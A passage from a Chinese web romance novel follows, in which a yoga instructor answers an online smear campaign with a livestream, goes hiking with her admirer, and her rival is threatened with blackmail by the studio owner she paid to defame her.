顾书杰却以为他听得认真，再一次从他们如何瞒着张家人恋爱，然后再到公开，冲破层层阻碍抱得美人归。 方寒薄唇越抿越紧，深深吸了一口气。 算了。 反正没心思工作，随便吧。 * 八点整。 语禾瑜伽馆。 视频号一开播，立刻就涌入了近三万的网友，不少在蹲点。 人数之多，让一旁的张妮和林思悦都倒吸一口凉气，这么多人，要是直播翻车了，怕是要玩完。 她们原本想静静等待热度下降，顶多以后不发视频，低调好了。 高雯却主动提出要直播，还直言，她们要抓住这波流量，吃到这一波红利。 于是，就有了这场直播，除了高雯，每个人都战战兢兢。 直播画面里。 高雯身穿相对保守的裙裤瑜伽服，站姿挺拔高雅，化了干净清爽的裸妆，涂了淡淡的口红，整个人美貌又上升了几分。 她好似并未受到舆论的半点影响，白净透亮的脸上带着恰到好处的微笑，透露着自信平和，抬手冲着镜头，声线清脆打招呼：“大家晚上好，我是语禾瑜伽馆的教练，我叫高雯。非常欢迎大家来到我们的直播间，今天科普的主题是《如何科学康复颈椎，浅谈新手瑜伽人避坑指南》，期间会涉及一些训练动作，大家有兴趣也可以跟着练习。” 在网友质疑专业性之前，高雯先一步展示自己的证书。 这几年，高雯在刻苦训练的同时，就是顺手考了好几个证，没有多考纯粹是训练的钱太多，她资金不够。 网友看着高雯一一展示的证书，怕他们看得不清楚，她放得很近。 瑜伽联盟资格证书、健身教练瑜伽资格证、瑜伽教练培训结业证、孕产瑜伽、空中瑜伽、理疗师 本来准备开喷的网友，默默闭了嘴。 人家证书是真齐全，不是什么半吊子，也不能硬黑。 高雯放下证书，轻描淡写笑着说了一句：“其实我大学选修了临床康复学和食品营养学课程，因为比较感兴趣，还旁听了两年。大家不用担心动作会不标准，锻炼是为了解决身体问题，不会把你们练伤。” “今天晚上，我们主要针对肩颈康复做一个训练，避开常见训练误区，正确锻炼。” 高雯除了展示证书，丝毫不提及这段时间的网暴质疑，开始全身心投入到教学中。 上课时的高雯像是变了一个人，她气场很强，却也带着独特人格魅力。 她不是单单带着学员做动作，而是会讲解原理，说话逻辑清晰。 每讲解一个动作，高雯就会在学员身上演练。 那两个主播，轮流上来出境，两人乐此不疲，甚至情不自禁受高雯影响，让做什么就做什么。 其中一个主播刚坐下来，还没做动作，就回头对高雯道：“我的后背肩胛骨疼。疼了几天了。” “右侧还是左侧？”高雯问。 “右侧。”主播回。 高雯抬手，轻轻把她的头往左转，出言道：“右手下沉，再下沉。”她说完，手上使了点劲。 “嘶——”主播五官皱成一团。 高雯脸色未变，不徐不疾倒数了十秒，这才松开。 主播把手抬起来，绕了绕肩膀，眼底一亮，惊奇道：“好像舒服很多了！” 高雯摸了摸她的肩膀：“肩胛骨有一条肩胛背神经，它的源头是斜角肌，当斜方肌不舒服的时候，它就会不适，这个动作能够快速缓解。” “好了，我们继续做刚刚说的动作。” 直播间里已经有网友在刷屏： 【谁说她不够专业？她不假思索说出肩胛背神经的源头是斜角肌的时候，就已经秒了很多瑜伽老师了，她很懂原理好吗？】 【从刚刚就在认真听，碰到好几个一问三不知的教练，你就知道她的权威了。】 【神奇！试了一下真有用，牛逼！】 【已经跟着练起来了，又感觉自己行了。】 张妮和林思悦看着直播间，弹幕由冷嘲热讽和质疑，再到夸奖和理智的声音越来越多，她们是狠狠擦了一把汗。 前半段，高雯讲解完康复知识，弹幕里不和谐的声音彻底不见了。 只剩下刷屏的问题和夸赞，还有疯狂夸她有气质，长得贼美。 高雯这几天还整理了一份新手入门的避坑指南，强调了安全第一，循序渐进，不要过于注重体式，也给出了很多真诚有效的建议。 直播间的问题更刷屏了。 高雯挑了几个问题，提到了产后修复，她强调：“产后以休息为主，不提重物，不过早锻炼，不建议半年内做运动，可以从控制饮食开始，多练腹部呼吸。不必焦虑、不必着急。这段时间你在用心陪伴一个小生命成长。” “可以产前做一些训练，有助于产后修复。” 网友问及腰肌劳损引起的酸胀，高雯抬起自己的手，“如果出现这种情况，你可以翘起自己的大拇指，找到凹陷处，顺着肘横纹外侧的连线上，伸出三根手指测量，找到手三里这个穴位，用力按压一分钟，哪边腰酸就按哪边手。这里属于筋膜中的臂前表线远端。” “感觉好一些之后，我们再进 行下一个动作。” 高雯不紧不慢回答着问题，原本两个小时的直播，因为网友太热情，直播了三个半小时。 最后还是张妮不断使眼色，让林思悦出现，强行下播了。 那两个主播还意犹未尽，找到高雯想要继续探讨刚刚的穴位。 她们原本以为高雯是个瑜伽老师，结果人家也会康复，还会中医穴位。 简直是颠覆她们的认知，彻底被收服。 网上也是掀起一股风浪，前段时间，他们对高雯的恶意有多深，现在就有多惭愧，人家虽然看着年轻，但的确有点本事。 有不少网友道：“她比我那个教练专业多了，一看就是功底扎实，要不是离得远，我都想立刻找她上课！！！” 唯一能让一些黑粉抓住的点，大概就是高雯只拿出证书，没有解释她的学历，给了继续抹黑的机会，阴阳怪气评论道：【不是说是A大的学生吗？也没见承认啊？立人设心虚了吧？】 对此，评论区有人冒出来了，直接贴上一张照片，附言道：【大二时候的一节选修课，当时无意拍到的，本以为认错人，看到今天的直播，应该就是她。我还以为她是本专业的，没想到不是！！！居然有人跨专业来旁听，真的是热爱了！】 照片里，高雯正在角落神情专注听课做笔记，相比于现在，她更加稚嫩。 发完照片，该网友直接附上她的学生证，清清楚楚印着A大基础医学院，彻底堵住黑粉的嘴。 高雯的无视，就是对这一场抹黑最好的还击，从头到尾，她淡定从容，没有辩解，带着对自己的自信，彻底扭转局面。 不少网友纷纷删评，更多路人转粉，开始围攻之前的恶意抹黑。 首当其冲的自然是梵盈瑜伽馆，他们的视频号都被冲烂了，她们馆长那套模棱两可的说辞，在此时显得十分可笑。 以前被网友忽视的一些说法，渐渐浮出水面。 那就是当初高雯在这个瑜伽馆辞职的原因，就是馆长想要逼她交高额费用去培训，才给她安排私教，她不愿意，所以被辞退了。 梵盈瑜伽馆这边彻底乱了套，看着大量冲进评论区的网友，管理视频号的员工都要哭了：“馆长，这怎么办啊？” 她每个月就领几千工资，拍拍照，发发视频，哪见过这阵势，祖宗十八代都要被开了。 馆长从今天就一直等着高雯开直播，本来还想看到她被骂下播，结果直播间一路向好，甚至都和谐吹捧起来，她一口气都险些没提上来。 “不行了，再这样下去，对我们很不利，我们要把视频号设置成私密了。”员工看向馆长，急急忙忙说。 梵盈瑜伽馆连半个小时都没撑住，视频号设置成了私密账户。 但她们在各大平台的评论区，早已经被攻陷。 * 凌晨。 高雯才和两个主播分开，她们非要拉着她拍照，还要互加联系方式，这才恋恋不舍离去。 馆里的人陆陆续续下班，高雯和林思悦一起走到楼下，分别走向不同的方向。 道路上人少，高雯慢悠悠走在昏黄的灯光下，瞧见脚下有个石子，她抬起脚往前踢。 小石子往前滚动，她又小跑往前，抬脚继续往前踢。 身旁传来一阵低笑声，高雯循声望去。 方寒站在不远处，路灯把他的背影拉得很长，他手上捧着两瓶牛奶，慢慢朝高雯走来，旋开其中一杯，递给她。 “学长，你怎么在这？”高雯接过牛奶问。 “来兼职。”方寒说。 高雯记起来了，他下班后要去兼职的公司，也在附近，她看了看方寒，轻声问：“你是在等我吗？” “嗯。”方寒点头，“这么晚了，等你一起回去，不然你一个人也不安全。” 高雯听到他说的话，垂下眼眸：“你等多久了？” 方寒总是这样，会默默为她做一些事情，让她无以为报。 “没多久，”方寒说完笑道，“我看到直播了，超常发挥，你这算不算红了？ ” 高雯摇头：“不知道，”她说完，抬眸望向他，一字一顿道，“但无论如何，这碗饭，我是一定会努力恰的。有什么能比互联网更火热，更能创造巨大价值呢？” 她还补充道：“我的事业心很强。” 方寒轻轻笑出声。 只觉得她这样很可爱。 “笑什么？我这个人无比爱钱，”高雯说着往前走，她抬头环视着周围高耸的写字楼，语气清晰道，“我的所有努力，都是为了过更好的生活，我想要在这里扎根，过光鲜亮丽的生活。” 她没有丝毫掩饰自己的野心和贪慕虚荣，甚至还道：“我喜欢用贵的东西，用好的东西，想住大大的房子，最好能有书房和健身房，还得有大大的落地窗。” 这里是寸土寸金的A市，这样的房子，价格都在几千万以上。 高雯说完，看向方寒。 她是故意说的，因为她知道，方寒不是一个有野心的人，小镇做题家能爬到的高处，是有天花板的，他这样，天花板会更低一点。 哪怕方寒的学历好，年薪百万，也只能买得起老破小，还得攒几年。 高雯已经彻底打消了靠嫁人往上爬的想法，但她的生活标准不会变，所以他们不是一路人，再过几年，方寒几岁了？她不能耽搁他。 她不好。 他值得更好的人。 方寒眼底沉思，神色在高雯看来有些凝重难看。 他了解她的真面目了，心里很失望吧？ 高雯重新低下头，瘪了瘪嘴，嘟囔一句：“我一点都过不了苦日子！” “你没有错，你做得很对。”方寒话语依旧清缓，带着温柔，“爱自己，让自己过得更好，没有任何错，也没有人能说你错了。” “你这么努力，值得过更好的生活。” 高雯侧头看向方寒，他可真是个善良的人。 他们算是划清界线了吧？没有说开，彼此留了一点体面。 她眼底闪了闪，没由来有些内疚。 冷血自私可能就是她的本性。 “很晚了，困不困？”方寒话语关切问。 “嗯！我们快回去吧。”高雯加快了往前走的脚步，不知道该和他说些什么。 方寒腿长，很轻松就跟上来。 高雯又看到了一颗小石子，她往前踢着，一路小跑跟着小石子。 方寒看着高雯欢快的背影，眼底都是柔情蜜意，慢悠悠跟在她身后，趁她没注意的时候，拿出手机，悄悄拍了一张。 * 当晚。 张妮和林思悦馆趁热打铁，开了高雯的个人视频号，该视频号就只有一条视频，高雯冲着镜头打招呼，笑容清甜：“大家好，我是高雯。” 仅凭借这一条视频，高雯的粉丝一个晚上涨了三十万，还在不断增长。 林珩带着姜舒妍来接林思悦，在车上的时候，林思悦分享这个好消息，笑得喜不胜收。 姜舒妍观察着林珩的神色，手心戳紧，内心的妒忌快要把她淹没。 她努力那么久，绞尽脑汁拍素材，粉丝就卡在二十万，高雯一个晚上，就涨了那么多粉，还远不止此。 高雯明明就是配角啊。 一个衬托她的炮灰而已，凭什么？！ 姜舒妍怕自己情绪外露，没有和林珩他们去吃夜宵，找个借口让林珩把她先送回去。 她刚下车，手机就响起。 看到电话号码，姜舒妍心底咯噔，捂着手机往后看，见林珩已经开车离开，赶紧往前小跑进小区。 “你还给我打电话做什么？”姜舒妍压低声音训斥。 钱是她花的，事情办成这个样子，非但没给高雯带来伤害，还让她大火，成了网红。 她几年没办到事情，高雯短短几天办到了，让她怎么接受？ 电话那头的馆长已经急疯了：“高雯知道是我搞的事情，现在要告我！你快想想办法啊！” 姜舒妍很淡定：“她怎么可能知道？” 馆长：“她们发了视频！！！” 姜舒妍拧眉打开语禾瑜伽馆的官方号，点开置顶视频公告，上面表示会对梵盈瑜伽馆商业诬蔑诽谤高雯一事追究到底，已经报警处理，之后有结果会公布。 “不是什么大问题，他们发现不了其他事。”姜舒妍很肯定说。 馆长还想说什么，姜舒妍烦躁地直接挂断—— 作者有话说：雯雯自以为划清界限，实则给方寒明确标准。 结婚以后要住大大的房子！健身房和书房还要带落地窗！O(∩_∩)O哈哈~ 早安哦。 第26章 第26章 你说，我到了警局，要把你供…… 晚间。 高雯躺在床上翻来覆去。 不知道是不是这段时间绷得太紧, 需要处理的事情太多，事情解决之后，她反而有些睡不着了。 高雯再一次闭眼, 强迫自己入睡。 脑海里浮现的都是刚刚对方寒说的话。 那些话会不会太残忍？ 她太绝情了？ 高雯再一次翻身, 拉起被子蒙住自己的脑袋，在被子里蹬了好几下, 停下来后又自己哄自己，“睡觉！这个点不睡觉会变丑！” 次卧内。 方寒倚靠在床上，斟酌字句, 最后给顾书杰发了条消息：【我下个月辞职，以后还请师哥多多关照。】 消息发送成功, 那一头的顾书杰已经激动得原地打转，不断握着拳头：“yes！yes!” 张妮拧眉：“半夜不睡觉, 你在发什么疯？” 顾书杰上前, 捧着张妮的脸狂亲好几下, “等着吧老婆，我们公司是要起飞了！” “” 方寒安静睡在床上, 双手枕着后脑勺, 脑海里都是今天晚上跟在高雯身后的场合。 她当时说对未来期许的时候，他其实想回：“好。” 算了, 慢慢来, 不着急的。 方寒嘴角抑制不住上扬，眼底情愫渐浓。 * 大清早。 方寒起床时，打开冰箱发现没牛奶了。 他换上鞋出门去买, 打算等高雯起床热了给她喝。 方寒走到楼下，往超市走时，他看到树底下的长椅坐着一个人, 认真看了几眼，确定之后，快步走过去。 “高雯？”方寒轻声唤了她一声。 高雯坐在长椅上，视线从那群晨练的老年人转到方寒身上，她笑了笑：“学长，早上好。” “你什么时候下来的？”方寒坐在她身边问，“你怎么一个人坐在这？” “我起得早，六点半就下楼了，坐着休息一会，”高雯喝了口手中的豆浆，将旁边的一个袋子递给他，“给你买的早餐。” 她昨晚睡得不太好，昏昏沉沉，就想下楼去买个早餐透透气。 这几天都是方寒给她做早餐，她总不能一个人吃独食，就给他带了一份。 方寒看着袋子里豆浆油条，又看了看她手里剩下的半根油条：“你今天早上怎么吃这个了？” 油腻腻的食物，通常不在她食谱里。 “想吃。”高雯侧头看方寒，小口咬了油条，“周末课少，馆里干脆给我放了两天假，突然闲下来，不知道做什么。” 她说完，又看着前面的老年人发呆。 方寒插上吸管，喝了口豆浆，发现是甜的，眼底微闪。 她只有心情不好的时候，才会吃甜食。 看来今天心情不佳。 方寒默默又喝了口甜豆浆，佯装随意问：“你想做什么？” 他周末放假，她忙的时候，他就去顾书杰公司兼职，她不忙的话，他可以陪她。 方寒这么猛然一问，高雯都有些茫然。 她想做什么？ 说实话，高雯不知道自己想做什么。 这几年她把自己逼得很紧，每一天从学习到休息乃至睡觉，都有时间表，目的性很强讲究效率。 突然闲下来，她也不知道应该做什么，或者说，能做什么。 方寒见高雯在发呆，又喝了口豆浆：“要不要去爬山？” “爬山？” 高雯下意识想拒绝，方寒就抿唇看着她笑道，“你去过双峰山吗？” “没。”高雯摇头。 别说爬山了，她来A市几年，那些景点是一个都没去过，每天就是学校图书馆和瑜伽馆，鲜少浪费时间。 甚至在她一路成长的过程中，都没有这些娱乐放松的活动。 从小时候，她就被教育要努力，要漂亮，要嫁得好，要靠男人过好的生活，不然所有的投资，都会亏本。她甚至感觉自己是商品，要卖出一个好的价格。 “陪我去一趟？现在是看不到日出了，看日落也不错。”方寒征询出口。 这应该算他第一次和高雯提出要求，她没法拒绝。 看着方寒温润的笑意，好似昨天晚上的事情没发生过，让她心里越发过意不去。 “嗯。”高雯点头，站起身来，“应该要回去换一套运动装再去吧？” “爬山是需要穿得舒适一点，重要的是要穿一双舒适的鞋。” “好的。” 两人并肩往回走，有一搭没一搭地聊。 高雯换了一套豆绿色的休闲运动套装，外面穿着一件透气防晒衣，她将头发扎起，戴了鸭舌帽。 娇俏灵动，青春活力。 她开门走出来时，方寒已经在客厅等着了。 他的打扮更简单，一身灰色的休闲运动服，一个黑色的书包。 方寒长得清俊帅气，可能是性格温和，加上工作环境不磨人，他这身装扮，说是男大学生都毫不违和。 “走吧。”方寒起身去开门。 “嗯。” 出发之前，方寒建议先去趟便利店，买点小零食。 进入便利店后，高雯除了拿一瓶水还有一盒口香糖，什么都没拿了。 方寒则拿了很多，三明治、面包、饼干、还有她喜欢喝的牛奶 “山上没有吗？”高雯问。 “不知道。”方寒结账后，往书包里装，躲开她的视线含糊接话，“可能有吧？我不是很清楚。” 高雯知道他是个细心的人，没多说，只是道：“往我的包里装一些，你背得太多了。” “不用，不重。”方寒合上书包，背着率先走出去，回头看她，“走吧。” 到了山脚下，迎面扑来一股清新的气息，让人心旷神怡，身心都舒畅了。 “你可以深呼吸几下，空气特别好。”方寒在一旁说。 高雯照做了，她闭眼深深吸气，缓缓吐出。 方寒看着她，唇角的笑意泛起，他把背包打开，在高雯睁开眼的时候，递过去一瓶驱蚊的花露水，“喷点，山上蚊子多，咬人疼。” “好。”高雯往自己身上喷了喷，然后递给他。 方寒把花露水拿过去，对着自己身上也喷了几下。 他刚要把花露水收起来的时候，高雯出言道：“等一下。” “嗯？” “往脖子后也喷点。”高雯说。 “脖子后？”方寒笑，“不用吧，没事。” 高雯没多说，伸手从他手中把花露水拿走了，随即上前一步，踮起脚尖，在靠近方寒的时候，伸手绕到他的后颈，喷了两下：“这里还是要喷一下，不然也会被咬。” 方寒在她靠过来的时候，呼吸都慢了一拍，紧接着后颈一凉，鼻翼里都是薄荷的清香，还掺杂着她身上的淡淡香味。 高雯往自己手里喷了好几下，直接抹到自己的脖子后，还说道：“我比较招蚊子，还是得多喷点，要是被咬了，估计得红几天，我接受不了。” 方寒柔和的视线一直落在她身上，在她把花露水伸过来的时候，才快速回神，接过来放在包里。 “走吧！”高雯说着，步伐轻快往前，踏上台阶。 方寒满脸笑意跟上去。 山间的空气中，带着树木的幽香、湿土的清润、还有那环绕在耳边的虫鸣鸟叫，一切好像变得清净了。 高雯原本爬得很快，她体力好，这一点运动量对她来说，不痛不痒。 爬到半山腰时，她放慢了脚步，目光落在了四周，会因为一只鸟，一朵花，停下她的脚步，不再那么匆忙。 “这朵花挺好看的。”高雯停留在路边的一朵花前，往前走了几步。 “小心点，路滑。”方寒在身后提醒。 高雯的手伸出去半道，却没有把它采摘下来，而是拿出手机，拍了一张照片。 她收起手机，笑着对方寒道：“走啦。” “喝点水。”方寒从背包里拿出了一瓶牛奶，递给高雯，“没那么温了。” 买的时候加热了，但现在温度已经下降。 高雯买的那瓶水，刚刚就喝完了，她伸手接过方寒递过来的牛奶，喝了两口。 “要不要吃点东西？”方寒问。 “不，我不饿。”高雯说着就往前走，感觉没有半点压力，甚至还对方寒道，“你想吃的话，我可以等你。” 他们在来的路上就吃点东西垫肚子了。 “我不吃。”方寒跟上她，“要拍照吗？” 高雯脚步没停，笑着道：“我自己拍就好了。” 他的拍照技术她见识过了，把她拍得那么丑，她接受不了。 大美女不可以有丑照！ “我进修了拍照技术，拍出来可能还行。”方寒又说。 高雯停下来，狐疑看向他。 “真的，”方寒笑，“不信试一张？” 他偷偷练了很久，技术应该还行。 高雯还是要给方寒这个面子，她把自己的手机拿出来，递给他，自己则左右看了看，站在了侧边。 方寒往后退了两步，举起手机，看着镜头里的她：“笑容再多一点，身子往右再侧一点。” 高雯扯动嘴角，眉眼弯弯。 “好。”方寒按下拍摄键，看了眼，走上前把手机拿给高雯。 高雯接过来，她刚刚脑子里都在想要怎么夸方寒，他才不尴尬受挫。 看到照片的时候，她略微诧异，他居然学会构图了？她又用手指放下看了看，表情抓拍非常好。 “我要再拍一张。”高雯把手机塞给方寒，用实际行动表示对他技术的认可。 “手举得稍微高一点。” “好，就保持这样。” “没关系，这样也很好看。” “这张很自然，后面的树上还有只鸟，很应景。” 两人原本只是爬山，后半段方寒化身摄影师，高雯心情很好，难免想要多记录一下，就拍了很多照片。 在照片里，她笑得明媚动人。 方寒在拍摄中听着她清脆明艳的笑声，上翘的嘴角迟迟没消下。 两人爬到山顶。 一股清冽的风从四面八方吹拂而来，视野变得广阔，高雯感觉自己内心的燥热沉闷，倏然得到了滋养，这段时间身心俱疲的感觉得到释放，整个人都透亮了。 “哇——”她走到围栏边，看着山脚下，张开双手，笑得张扬明艳。 方寒对着高雯的背影拍了一张，快速把手机收起来，含笑走上前把旋开的牛奶递给她：“喝一口润润喉。” 高雯拿着牛奶，并不着急喝，她看向方寒，话语有些郑重：“谢谢。”说完，她低着头，沉吟片刻道，“昨晚我说的话，你不用放在心上，可能是我这段时间压力太大，事情太多，难免有些胡言乱语。” 她感觉她说的话很伤人。 他性格善良谦和，不应该受到这样的质疑和否定，也不应该因为家境问题和个人发展问题，而被定义。 “还好吧。”方寒还想说什么，高雯就笑着打断，“那就过去咯？我不记得我说了什么，你也不记得听到什么。” 每个人有每个人的人生轨迹和生活理想，人生短短，想怎么活，都没错。 方寒笑着点头附和她：“嗯。” 高雯的笑意陡然加深，她指着不远处：“再过一会，太阳就要落山了吧？有晚霞了。”她说完道，“我给你也拍点照片吧？” “不用。” “来都来了，总是要留念。”高雯环视一圈，看到一个绝佳地点，不过等着拍照的人也特别多。 她眼尖，看到拉着方寒挤进去，给他占了个位置：“这这这。” 方寒看着镜头，身子有些不自在。 面对高雯，他总是没办法做到毫不在意。 高雯看着手机里，放大后看到方寒的表情，迟迟没有按下拍摄，她侧着头，看向方寒，突然笑着开口：“我今天给你买的豆浆，甜吗？” 方寒微怔，而后笑着说，“甜啊。” 那一秒，高雯抓拍到了。 照片里，方寒看着前面唇角上扬，笑得清浅温柔，眼底都染上一丝愉悦之色 距离太阳落山还有一会，高雯拍了段视频，正在剪辑。 方寒找个休息的位置，让她过来休息。 高雯低着头正在专心剪辑视频，方寒把撕掉包装袋的三明治递过去。 方才还说不饿的高雯，肚子都快咕咕叫了。 她停下动作，吃了一个三明治。 没饱。 爬山实在太费体力。 方寒又从包里拿出一根玉米。 “一人一半。”她说。 方寒：“我有饼干，不吃玉米。” 他的背包好似一个百宝箱，能掏出各种各样的东西，旁边有人摔倒了，方寒还送过去止血药和止血贴。 周围的人逐渐站起来，举起手机发出惊叹。 太阳落山了。 它收了炽热刺眼的光芒，变成了一颗红彤彤的火球。 西边的彩霞瑰丽，染红了半边天，交织形成了一幅流动绚丽的画面，让人再一次赞叹大自然的鬼斧神工。 高雯连连拍了好几个视频，沉浸在这一刻的美好中。 她在拍晚霞，方寒在拍她，他的神色，如同即将步入暮色的天际一样温柔。 落日后，就得赶着下山。 下山的时间好像比上山短，但他们走下来时，天也黑了。 这里地方偏僻，方寒约了车，两人刚下山，师傅就已经在等。 上车后，高雯在赶制她的视频，恨不得要把这一天的所见都记录下来，方寒没打扰她，甚至都没格外发出动静。 半个小时后，汽车才驶入市区，因为遇到下班高峰期，还堵车。 方寒看着窗外，时不时点开手机，看着前面的道路车况。 倏然，他的肩膀一重，呼吸跟着停滞。 高雯睡着了。 她的手往旁边一滑，落下来，碰到方寒放在一边的手。 肌肤接触的瞬间，方寒感觉到一股电流以极快的速度，席卷他浑身的每一个毛孔，他甚至不敢看向她，就这么保持着僵硬的姿势，呼吸都变得小心翼翼，生怕吵醒她。 方寒在这一刻，无比希望车能开得慢一点，回去的时间，能变得更长一点。 * 高雯直播过后，网络风向再一次变了。 有不少健身博主和养生博主都站出来科普，说高雯的教学方式其实没有问题，还有很强的专业性，是一个很专业的瑜伽老师。 不少网友为之前的行为道歉，默默删了评论。更有些原本是路人，全然是被高雯身上高雅的气质吸引，直呼她的气场真的绝了。 不断跪求开线上班，她们也要跟着练习瑜伽。 语禾瑜伽馆再一次爆火，有不少之前退费的会员又想重新缴费，但高雯的课程已经满了，暂时不收新会员。 在这件事之后，梵盈瑜伽馆的日子不好过，本来就受语禾瑜伽馆开业影响，她们就靠着老会员苦苦支撑。 如今恶评全网都是，很多老会员也不来了，之前的瑜伽老师得知馆长的真实面目，这些年一直在收割她们，心灰意冷，不仅辞职，还要求赔偿，甚至在网上曝光控诉。 馆里生意一落千丈，加上有凑热闹的网友，还来蹲点直播，要让馆长解释当时的行为，更是让馆里的课都没法上。 他们迫于压力和无奈，只能先关门。 馆长急得团团转，多次给姜舒妍打电话，都被她不耐烦挂断。 这一次，姜舒妍在林家，正要吃饭，看到来电，她本来想挂掉，林家人都看过来，她不得不接。 走到阳台，姜舒妍压低声音，语气厌恶烦躁：“你到底要做什么？” “警察找我了，高雯拿到了盛夏内部报价单，还掌握了我去找盛夏营销公司的证据，他们公司在接受调查，你说，我去了警局，要把你供出来吗？”梵盈馆长在那头的声音很平静。 姜舒妍顿时瞳孔放大，脸色惨白。 第27章 第27章 你有没有看到我拍的视频？…… 餐桌上。 林思悦孜孜不倦在说着瑜伽馆的事情：“我们现在馆里可忙了, 以前大闹特闹要退钱的人，现在又说要续雯雯的课，根本不可能了。老会员都在排队, 她的课根本约不上了。” 她说着笑得得意：“好在她对我好, 每天给我和张妮姐留了上课名额，帮我们调理体态。” 林母笑：“你现在身材气质是越来越好, 要坚持啊。” 林珩听着两人谈话，盛饭的动作慢了下来。 那天，他给高雯发消息, 结果出现红色感叹号，他做梦都没想到, 一个实习生把他删了。 后来，林珩反思过, 高雯在瑜伽这一行, 是有天赋, 现在也做出成绩，估计是他说的话太重, 惹到她了。 但还是不得劲儿。 姜舒妍挂掉梵盈馆长的电话, 撑着脚软走进来，就听到林思悦说一句：“那当然, 我很听雯雯姐的话, 我最崇拜的人就是她了，她真的太厉害了！” 从林思悦口中听到她夸赞高雯，让姜舒妍面色再一次失控, 以前林思悦最看重最崇拜的就是她。 她咬紧牙，极力忍住情绪，匆忙去拿自己的包, 一脸歉意道：“伯母，我有点事要处理，就先走了。” “你还没吃饭，吃完饭再走啊。”林母连忙起身说。 “不用了。”姜舒妍拒绝。 林母：“什么事这么着急？连饭都不吃了？” 姜舒妍找个借口：“我朋友出了事，在医院没人照顾，我必须要快点赶过去。” 林母：“让阿珩送你去吧。” 她话音未落，姜舒妍就慌忙道：“不用了，我自己去，不麻烦了。伯母，我先走了。” 姜舒妍甚至没等到林母去送送她，脚步匆忙出了门。 林思悦看着她离开的背影，“舒妍姐怎么奇奇怪怪啊？” 平时，对方都恨不得她哥接送。 今天怎么好像有点抗拒？ “朋友出事，着急了吧。”林母叹气。 林珩望向姜舒妍离开的方向，剑眉微微蹙起，眼底疑惑，但没多想，端起碗吃饭。 * 姜舒妍赶到约定的地点，没看到人。 她连打了好几个电话，梵盈馆长才姗姗来迟。 “怎么回事？”姜舒妍急得团团转，并且开始推卸责任，“是你自己要去诬蔑高雯，还找我要钱，关我什么事？” “你先联系我，如果不是你暗示我可以找水军公司，事情怎么会闹得这么大？”梵盈馆长提醒她，“我们现在是一条船上的蚂蚱，你想把事情推给我一个人？” 她原本只是建立小号黑高雯，接受采访引导言论，是姜舒妍主动找到她，给她钱，让她尝到水军甜头。 事情变得一发不可收拾。 姜舒妍怕被她供出来，强忍着后怕：“你想怎么样？” “事情闹得这么大，我的馆是开不下去了，她现在指控我诽谤罪，我咨询过律师，后面调查起来，还可能涉及非法利用网络信息罪，转发量和浏览量太巨大，足够让我坐一年牢。”梵盈馆长说的时候，情绪有些激动。 提及坐牢，下半辈子就都毁了。 没有谁能淡定接受。 姜舒妍浑身一颤，指尖都止不住发抖。 她就是个普通人，只是想给高雯一个教训，看不得林珩对她的关注。 在这本里，她才是主角，有女主光环，如今却要涉及违法犯罪，说不定也要坐牢。 “我找关系，到时候给你运作，不会让你坐牢的。”姜舒妍怕被供出来，赶紧出口保证，希望稳住对方。 梵盈馆长面色逐渐变得平静：“现在很多人都盯着我，等待这个事情的结果，律师让我放弃幻想。要是罪名成立，逃不掉，还不如认罪，从轻处罚，还能少判点，不要再引起太多社会舆论。” “那，那，”姜舒妍局部不安，连忙抓着她的手哀求道，“你别把我供出来，我可以给你钱。” “一千五百万。”反正都烂透了，罪名也不很大，这些钱，就足以让她全盘接受坐牢的结果。 姜舒妍听到这个数字，表情凝住。 “我半辈子的心血没了，高雯向我索赔上百万，还要去坐牢。”梵盈馆长看向姜舒妍，一字一顿道，“一千五百万，不多。” 姜舒妍看着梵盈馆长镇定的神色，知道她来之前，就做好了打算。 她慢慢松开对方的手，苍白着脸：“我没有那么多钱。” “这是你要解决的事情，我能给你的时间不多，我要见到钱，不然，我去了警局，会全部交代，把你供出来，说不定还 能减轻罪名。”梵盈馆长说完，转身走了。 姜舒妍站在原地，只觉得凉气四起，脚软地跌坐在地上。 * 语禾瑜伽馆。 高雯下课，走出来接水。 林思悦立刻来到她身边，笑得格外殷勤：“雯雯姐~~~” “干嘛呢？这副表情。”高雯又喝了两口水，笑着道，“一看就没好事。” “好事，好事。”林思悦连忙说，她双手合十，“你什么时候有空？我帮你拍个视频呗？拍照片也行。” “我要上课呢，你去拍其他老师。”高雯推脱。 林思悦苦着脸：“我和张妮姐是真没办法了，我们都连拍三天其他老师，点赞就没超过一千，上一条视频点赞都有百万！” “这样下去不行啊。” 高雯又喝了口水：“是不是热度下降了？” “不，我们想试试，不然不信，”林思悦拉着高雯的手哀求，“帮帮我们，我们好不容易才把视频号做起来，愁得都要睡不着了！” “我拍估计也一样。”高雯可不会把自己想得那么重要。 林思悦：“那我们就死心接受，不然不接受！” “行吧，等下午再拍，我一会都是课。”高雯应下来。 “你最好了！我马上跟张妮姐说！”林思悦笑嘻嘻，蹦蹦跳跳又走了。 高雯看着她孩子气的样子，脸上露出无奈的笑，转身回到教室继续上课。 傍晚。 休假的张妮都赶来了，要指导林思悦拍摄。 “还是拍内观流吧？那个点击量大。”张妮决定保守一点。 “行，不过我改了一下，换种风格可能新鲜点。”高雯说。 张妮：“听你的。” 高雯走到瑜伽垫上，做了热身动作后，打了个手势，示意可以开始。 林思悦举起相机，看着高雯做的动作，震惊之余，简直是狂喜。就连路过的老师和会员，都被音乐吸引停了下来，在门口观看。 林思悦拍完后，张妮冲高雯举起大拇指：“这一条估计又要爆了！” “别抱太大希望，不然可能失落过大。”高雯提醒说。 张妮瞪大眼十分自信：“怎么可能！” 方寒关掉电脑，准备回去。 他今天稍微加了点班，因为高雯说她十点才回来，他就不回去做饭了，在公司蹭了个员工餐。 对面工位上，两个女职员正外放着动感卡点的音乐，兴奋道：“这是瑜伽吗？好优雅带劲呀，这个语禾瑜伽馆好像就离我们不远。” 听到熟悉的名字，方寒收拾东西的动作变慢。 “这个瑜伽老师上一次不是也出了一个视频吗？还特别火。”另一个女职员接话，“这段瑜伽跳得好好啊，看得我都想去练瑜伽了。” “我打电话去问过，她的课排满了，最近半个月都约不上。” “啊？这么火啊？” “可不是嘛，好多人都抢课。她的粉丝都大几十万了，还是A大毕业的对吧？” “方工不也是A大毕业的吗？问问他认不认识。” 几人聊着天，看向方寒的工位，发现他已经走到了门口，她们叫了一声，方寒充耳未闻，还走得更快了，脚步匆忙有点落荒而逃。 她们继续循环播放视频。 高雯上一次跳的内观流动作以柔美为主，音乐清缓，这一次截然不同，换了劲爆超燃的音乐，动作节奏加快。 卡点精准、音乐动感、连贯的姿势优雅利落。 视频上传仅仅不到两个小时，点赞就破十万了，评论更是被刷爆： 【感觉任何一个动作都能刷爆我的医保卡。】 